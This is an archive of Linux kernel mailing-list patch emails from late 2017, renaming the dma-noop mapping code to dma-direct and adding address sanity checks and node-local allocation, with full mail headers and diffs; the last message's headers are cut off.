Xref: news.gmane.org gmane.linux.kernel.iommu:21904 gmane.linux.ports.mips.general:62947 gmane.linux.ports.ia64:28414 gmane.linux.ports.sh.devel:56060 gmane.linux.ports.sparc:27067 gmane.linux.kernel.cross-arch:40807 gmane.linux.ports.hexagon:1424 gmane.linux.kernel.arc:3192 gmane.linux.kernel.metag:1498 gmane.linux.ports.arm.kernel:622917 gmane.linux.ports.parisc:28089 gmane.linux.kernel:2654234 gmane.linux.ports.alpha:4571 gmane.linux.ports.ppc64.devel:151521
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21904>

The trivial direct mapping implementation already does a virtual to
physical translation which isn't strictly a noop, and will soon learn
to do non-direct but linear physical to dma translations through the
device offset and a few small tricks.  Rename it to a better fitting
name.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 MAINTAINERS                        |  2 +-
 arch/arm/Kconfig                   |  2 +-
 arch/arm/include/asm/dma-mapping.h |  2 +-
 arch/arm/mm/dma-mapping-nommu.c    |  8 ++++----
 arch/m32r/Kconfig                  |  2 +-
 arch/riscv/Kconfig                 |  2 +-
 arch/s390/Kconfig                  |  2 +-
 include/asm-generic/dma-mapping.h  |  2 +-
 include/linux/dma-mapping.h        |  2 +-
 lib/Kconfig                        |  2 +-
 lib/Makefile                       |  2 +-
 lib/{dma-noop.c => dma-direct.c}   | 35 +++++++++++++++--------------------
 12 files changed, 29 insertions(+), 34 deletions(-)
 rename lib/{dma-noop.c => dma-direct.c} (53%)

diff --git a/MAINTAINERS b/MAINTAINERS
index a8b35d9f41b2..b4005fe06e4c 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4336,7 +4336,7 @@ T:	git git://git.infradead.org/users/hch/dma-mapping.git
 W:	http://git.infradead.org/users/hch/dma-mapping.git
 S:	Supported
 F:	lib/dma-debug.c
-F:	lib/dma-noop.c
+F:	lib/dma-direct.c
 F:	lib/dma-virt.c
 F:	drivers/base/dma-mapping.c
 F:	drivers/base/dma-coherent.c
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 00d889a37965..430a0aa710d6 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -25,7 +25,7 @@ config ARM
 	select CLONE_BACKWARDS
 	select CPU_PM if (SUSPEND || CPU_IDLE)
 	select DCACHE_WORD_ACCESS if HAVE_EFFICIENT_UNALIGNED_ACCESS
-	select DMA_NOOP_OPS if !MMU
+	select DMA_DIRECT_OPS if !MMU
 	select EDAC_SUPPORT
 	select EDAC_ATOMIC_SCRUB
 	select GENERIC_ALLOCATOR
diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index e5d9020c9ee1..8436f6ade57d 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -18,7 +18,7 @@ extern const struct dma_map_ops arm_coherent_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return IS_ENABLED(CONFIG_MMU) ? &arm_dma_ops : &dma_noop_ops;
+	return IS_ENABLED(CONFIG_MMU) ? &arm_dma_ops : &dma_direct_ops;
 }
 
 #ifdef __arch_page_to_dma
diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
index 1cced700e45a..49e9831dc0f1 100644
--- a/arch/arm/mm/dma-mapping-nommu.c
+++ b/arch/arm/mm/dma-mapping-nommu.c
@@ -22,7 +22,7 @@
 #include "dma.h"
 
 /*
- *  dma_noop_ops is used if
+ *  dma_direct_ops is used if
  *   - MMU/MPU is off
  *   - cpu is v7m w/o cache support
  *   - device is coherent
@@ -39,7 +39,7 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
 				 unsigned long attrs)
 
 {
-	const struct dma_map_ops *ops = &dma_noop_ops;
+	const struct dma_map_ops *ops = &dma_direct_ops;
 	void *ret;
 
 	/*
@@ -70,7 +70,7 @@ static void arm_nommu_dma_free(struct device *dev, size_t size,
 			       void *cpu_addr, dma_addr_t dma_addr,
 			       unsigned long attrs)
 {
-	const struct dma_map_ops *ops = &dma_noop_ops;
+	const struct dma_map_ops *ops = &dma_direct_ops;
 
 	if (attrs & DMA_ATTR_NON_CONSISTENT) {
 		ops->free(dev, size, cpu_addr, dma_addr, attrs);
@@ -214,7 +214,7 @@ EXPORT_SYMBOL(arm_nommu_dma_ops);
 
 static const struct dma_map_ops *arm_nommu_get_dma_map_ops(bool coherent)
 {
-	return coherent ? &dma_noop_ops : &arm_nommu_dma_ops;
+	return coherent ? &dma_direct_ops : &arm_nommu_dma_ops;
 }
 
 void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
index 498398d915c1..dd84ee194579 100644
--- a/arch/m32r/Kconfig
+++ b/arch/m32r/Kconfig
@@ -19,7 +19,7 @@ config M32R
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
 	select CPU_NO_EFFICIENT_FFS
-	select DMA_NOOP_OPS
+	select DMA_DIRECT_OPS
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
 
 config SBUS
diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index 2c6adf12713a..865e14f50c14 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -83,7 +83,7 @@ config PGTABLE_LEVELS
 config HAVE_KPROBES
 	def_bool n
 
-config DMA_NOOP_OPS
+config DMA_DIRECT_OPS
 	def_bool y
 
 menu "Platform type"
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 829c67986db7..9376637229c9 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -140,7 +140,7 @@ config S390
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_DMA_API_DEBUG
 	select HAVE_DMA_CONTIGUOUS
-	select DMA_NOOP_OPS
+	select DMA_DIRECT_OPS
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_DYNAMIC_FTRACE_WITH_REGS
 	select HAVE_EFFICIENT_UNALIGNED_ACCESS
diff --git a/include/asm-generic/dma-mapping.h b/include/asm-generic/dma-mapping.h
index 164031531d85..880a292d792f 100644
--- a/include/asm-generic/dma-mapping.h
+++ b/include/asm-generic/dma-mapping.h
@@ -4,7 +4,7 @@
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return &dma_noop_ops;
+	return &dma_direct_ops;
 }
 
 #endif /* _ASM_GENERIC_DMA_MAPPING_H */
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 72568bf4fc12..ff3528de5322 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -143,7 +143,7 @@ struct dma_map_ops {
 	bool is_phys;
 };
 
-extern const struct dma_map_ops dma_noop_ops;
+extern const struct dma_map_ops dma_direct_ops;
 extern const struct dma_map_ops dma_virt_ops;
 
 #define DMA_BIT_MASK(n)	(((n) == 64) ? ~0ULL : ((1ULL<<(n))-1))
diff --git a/lib/Kconfig b/lib/Kconfig
index c5e84fbcb30b..9d3d649c9dc9 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -409,7 +409,7 @@ config HAS_DMA
 	depends on !NO_DMA
 	default y
 
-config DMA_NOOP_OPS
+config DMA_DIRECT_OPS
 	bool
 	depends on HAS_DMA && (!64BIT || ARCH_DMA_ADDR_T_64BIT)
 	default n
diff --git a/lib/Makefile b/lib/Makefile
index d11c48ec8ffd..749851abe85a 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -28,7 +28,7 @@ lib-y := ctype.o string.o vsprintf.o cmdline.o \
 
 lib-$(CONFIG_MMU) += ioremap.o
 lib-$(CONFIG_SMP) += cpumask.o
-lib-$(CONFIG_DMA_NOOP_OPS) += dma-noop.o
+lib-$(CONFIG_DMA_DIRECT_OPS) += dma-direct.o
 lib-$(CONFIG_DMA_VIRT_OPS) += dma-virt.o
 
 lib-y	+= kobject.o klist.o
diff --git a/lib/dma-noop.c b/lib/dma-direct.c
similarity index 53%
rename from lib/dma-noop.c
rename to lib/dma-direct.c
index c3728a0551f5..439db40854b7 100644
--- a/lib/dma-noop.c
+++ b/lib/dma-direct.c
@@ -10,9 +10,8 @@
 #include <linux/scatterlist.h>
 #include <linux/pfn.h>
 
-static void *dma_noop_alloc(struct device *dev, size_t size,
-			    dma_addr_t *dma_handle, gfp_t gfp,
-			    unsigned long attrs)
+static void *dma_direct_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -23,24 +22,21 @@ static void *dma_noop_alloc(struct device *dev, size_t size,
 	return ret;
 }
 
-static void dma_noop_free(struct device *dev, size_t size,
-			  void *cpu_addr, dma_addr_t dma_addr,
-			  unsigned long attrs)
+static void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
 	free_pages((unsigned long)cpu_addr, get_order(size));
 }
 
-static dma_addr_t dma_noop_map_page(struct device *dev, struct page *page,
-				      unsigned long offset, size_t size,
-				      enum dma_data_direction dir,
-				      unsigned long attrs)
+static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size, enum dma_data_direction dir,
+		unsigned long attrs)
 {
 	return page_to_phys(page) + offset - PFN_PHYS(dev->dma_pfn_offset);
 }
 
-static int dma_noop_map_sg(struct device *dev, struct scatterlist *sgl, int nents,
-			     enum dma_data_direction dir,
-			     unsigned long attrs)
+static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
+		int nents, enum dma_data_direction dir, unsigned long attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -58,12 +54,11 @@ static int dma_noop_map_sg(struct device *dev, struct scatterlist *sgl, int nent
 	return nents;
 }
 
-const struct dma_map_ops dma_noop_ops = {
-	.alloc			= dma_noop_alloc,
-	.free			= dma_noop_free,
-	.map_page		= dma_noop_map_page,
-	.map_sg			= dma_noop_map_sg,
+const struct dma_map_ops dma_direct_ops = {
+	.alloc			= dma_direct_alloc,
+	.free			= dma_direct_free,
+	.map_page		= dma_direct_map_page,
+	.map_sg			= dma_direct_map_sg,
 	.is_phys		= true,
 };
-
-EXPORT_SYMBOL(dma_noop_ops);
+EXPORT_SYMBOL(dma_direct_ops);
-- 
2.14.2


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 27/67] dma-direct: add dma address sanity checks
Date: Fri, 29 Dec 2017 09:18:31 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <20171229081911.2802-28-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535587 7835 195.159.176.226 (29 Dec 2017 08:19:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:47 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:19:41 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUpt9-0001ND-Ol
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:19:36 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 580BE8D9;
	Fri, 29 Dec 2017 08:21:22 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id E6D6089F
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:21:20 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 827931DAA7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:21:20 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=d6KhWOI+WdgjeuA2e0odllHhCkLJk/oxje3YFAhKVNQ=;
	b=DnyuGgbD5ghJ5/NzF9zl9iF3H
	J07VWpid0u0AbC2HYpeuHZrzcBzwMNgB7yO5FLlmfnJuuPF2W4XFb7MKmznDJQPfvfnqKBHEngljj
	mcJx7rdE8L0MZjiIY46CVJW9cXcF6mxb+ZfSh5f4wv7EwwI83UjbNiq2PABbo3PI69sxBvbpdAGud
	Y0/y26JP8RbtJbZriKWCELw+ltcUSnBDhIbAizRE+p9hsNSlfxW/fmUJADnuLmJTKd/84Tjlz3JU7
	bUpH1kfSbW7rm4fRquVzL2jAj58GbPWmXWmvo3Z5/mHvEw1SguzoKCeJB8iS5aFvbZQIGstQJAh/7
	gtnQWrN6Q==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUpun-00028h-3t; Fri, 29 Dec 2017 08:21:17 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21905 gmane.linux.ports.mips.general:62948 gmane.linux.ports.ia64:28415 gmane.linux.ports.sh.devel:56061 gmane.linux.ports.sparc:27068 gmane.linux.kernel.cross-arch:40808 gmane.linux.ports.hexagon:1425 gmane.linux.kernel.arc:3193 gmane.linux.kernel.metag:1499 gmane.linux.ports.arm.kernel:622918 gmane.linux.ports.parisc:28090 gmane.linux.kernel:2654235 gmane.linux.ports.alpha:4572 gmane.linux.ports.ppc64.devel:151522
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21905>

Roughly based on the x86 pci-nommu implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 lib/dma-direct.c | 32 +++++++++++++++++++++++++++++++-
 1 file changed, 31 insertions(+), 1 deletion(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 0e087650e86b..ddd9dcf4e663 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -9,6 +9,24 @@
 #include <linux/scatterlist.h>
 #include <linux/pfn.h>
 
+#define DIRECT_MAPPING_ERROR		0
+
+static bool
+check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
+		const char *caller)
+{
+	if (unlikely(dev && !dma_capable(dev, dma_addr, size))) {
+		if (*dev->dma_mask >= DMA_BIT_MASK(32)) {
+			dev_err(dev,
+				"%s: overflow %llx+%zu of device mask %llx\n",
+				caller, (long long)dma_addr, size,
+				(long long)*dev->dma_mask);
+		}
+		return false;
+	}
+	return true;
+}
+
 static void *dma_direct_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
@@ -31,7 +49,11 @@ static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
 		unsigned long offset, size_t size, enum dma_data_direction dir,
 		unsigned long attrs)
 {
-	return phys_to_dma(dev, page_to_phys(page)) + offset;
+	dma_addr_t dma_addr = phys_to_dma(dev, page_to_phys(page)) + offset;
+
+	if (!check_addr(dev, dma_addr, size, __func__))
+		return DIRECT_MAPPING_ERROR;
+	return dma_addr;
 }
 
 static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
@@ -44,17 +66,25 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 		BUG_ON(!sg_page(sg));
 
 		sg_dma_address(sg) = phys_to_dma(dev, sg_phys(sg));
+		if (!check_addr(dev, sg_dma_address(sg), sg->length, __func__))
+			return 0;
 		sg_dma_len(sg) = sg->length;
 	}
 
 	return nents;
 }
 
+static int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr)
+{
+	return dma_addr == DIRECT_MAPPING_ERROR;
+}
+
 const struct dma_map_ops dma_direct_ops = {
 	.alloc			= dma_direct_alloc,
 	.free			= dma_direct_free,
 	.map_page		= dma_direct_map_page,
 	.map_sg			= dma_direct_map_sg,
+	.mapping_error		= dma_direct_mapping_error,
 	.is_phys		= true,
 };
 EXPORT_SYMBOL(dma_direct_ops);
-- 
2.14.2


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 29/67] dma-direct: use node local allocations for coherent memory
Date: Fri, 29 Dec 2017 09:18:33 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20171229081911.2802-30-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535589 8282 195.159.176.226 (29 Dec 2017 08:19:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:49 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 29 09:19:43 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eUptB-0001D4-69
	for lnx-sparclinux@m.gmane.org; Fri, 29 Dec 2017 09:19:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756077AbdL2IVj (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 29 Dec 2017 03:21:39 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:50781 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755233AbdL2IVe (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 29 Dec 2017 03:21:34 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=ydPJysI2VQisQouWYtaywNzd54SYhITdEROTArW2H7k=; b=kmdxrEiJIZ9NbJfa1uwos5QLI
        JmERvdRkizLkN1n6v4yKiZXUJcfGjYx+Ba99mwr1Nc8EPXcHXUUv0CknhLjMyM4p70Qfbp2cyS6gL
        1Dmmz4cCUnvedE7KufKxzPrDzCXzQ78RpaScb0hvxDnrEYGwfjF8Czl1mPYS+M4z3OxsJUxffSLfI
        cYTbPOkZPfE5U3cN2nFEJL3+qEhZl9kToJFLHDMHXcSb8pGkRw5yBDJ66ArCEaJY1q0S5kpXxudWh
        2+67xMOnxD4/qbCh0xqyNall7ZhsZk2kq7K8hXMjUk7Nt2Dv7tjAYM6SGcymr6DC3GdbaYVzpXOxt
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpuv-0002Fs-DG; Fri, 29 Dec 2017 08:21:26 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27069 gmane.linux.kernel.iommu:21906 gmane.linux.ports.alpha:4573 gmane.linux.kernel.arc:3194 gmane.linux.ports.arm.kernel:622919 gmane.linux.ports.hexagon:1426 gmane.linux.ports.ia64:28416 gmane.linux.kernel.metag:1500 gmane.linux.ports.mips.general:62949 gmane.linux.ports.parisc:28091 gmane.linux.ports.ppc64.devel:151523 gmane.linux.ports.sh.devel:56062 gmane.linux.kernel.cross-arch:40809 gmane.linux.kernel:2654236
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27069>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-direct.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index d0266b39788b..ab81de3ac1d3 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -39,7 +39,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 	if (gfpflags_allow_blocking(gfp))
 		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
 	if (!page)
-		page = alloc_pages(gfp, page_order);
+		page = alloc_pages_node(dev_to_node(dev), gfp, page_order);
 	if (!page)
 		return NULL;
 
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 31/67] dma-direct: make dma_direct_{alloc,free} available to other implementations
Date: Fri, 29 Dec 2017 09:18:35 +0100
Lines: 97
Approved: news@gmane.org
Message-ID: <20171229081911.2802-32-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535598 9876 195.159.176.226 (29 Dec 2017 08:19:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:58 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
